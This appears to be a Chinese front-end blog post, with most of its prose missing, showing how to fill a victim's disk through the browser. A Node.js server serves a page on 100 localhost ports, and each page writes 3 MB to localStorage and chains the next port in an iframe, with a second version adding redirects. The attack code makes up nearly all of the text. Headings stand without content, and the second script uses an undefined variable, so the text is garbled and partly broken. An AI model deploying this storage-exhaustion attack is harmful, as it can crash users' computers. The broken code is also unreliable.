有人说,前端的界限就在浏览器那儿。无论你触发了多少bug,最多导致浏览器崩溃,对系统影响不到哪去。想象一下,有天你在家里上网,吃着火锅还唱着歌,点开一个链接,电脑突然就蓝屏了!
起因
关键
var http = require('http');
var fs = require('fs');
//100个端口
for(var port = 1000; port< 1100; port++){
http.createServer(function (request, response) {
//请忽略这种循环读文件的方式,只为了简便
fs.readFile('./index.html', function(err, content){
if(err) {
} else {
response.writeHead(200, { 'Content-Type' : 'text/html; charset=UTF-8' });
response.write(content);
response.end();
}
});
}).listen(port, '127.0.0.1');
}
var s = "";
//慢慢来,别写太大了,好害怕…
for(var i=0; i< 3 * 1024 * 1024; i++){
s += "0";
}
localStorage.setItem("testData", s);
自动遍历
var Main = (function(){
var _key = "testData";
var _max = 1100; //最大限制
return {
init: function(){
//慢慢来,别写太大了,好害怕…
var s = "";
for(var i=0; i< 3 * 1024 * 1024; i++){
s += "0";
}
localStorage.setItem(_key, s);
var port = parseInt(location.port)+1;
if(port > _max) return;
//新添加iframe
var url = "http://127.0.0.1:" + port;
var $iframe = document.createElement("iframe");
$iframe.src = url;
document.getElementsByTagName("body")[0].appendChild($iframe);
}
}
})();
var Main = (function(){
var _key = "testData";
var _max = 1200; //最大限制
var _jumpSpace = 50; //为避免iframe过多导致浏览器crash,每50个执行跳转
return {
init: function(){
//慢慢来,别写太大了,好害怕…
var s = "";
for(var i=0; i< 3 * 1024 * 1024; i++){
s += "0";
}
localStorage.setItem(_key, s);
var port = parseInt(location.port)+1;
if(port > _max) return;
if(port % _jumpSpace == 0){
//每50个,重定向一次
window.location.href = url;
}else{
//新添加iframe
var $iframe = document.createElement("iframe");
$iframe.src = url;
document.getElementsByTagName("body")[0].appendChild($iframe);
}
}
}
})();
继续实验的黑科技
-
等待;
-
用任务管理器关掉chrome进程,再等待;
-
相信并尝试“重启电脑解决90%电脑问题”的科学论断
最后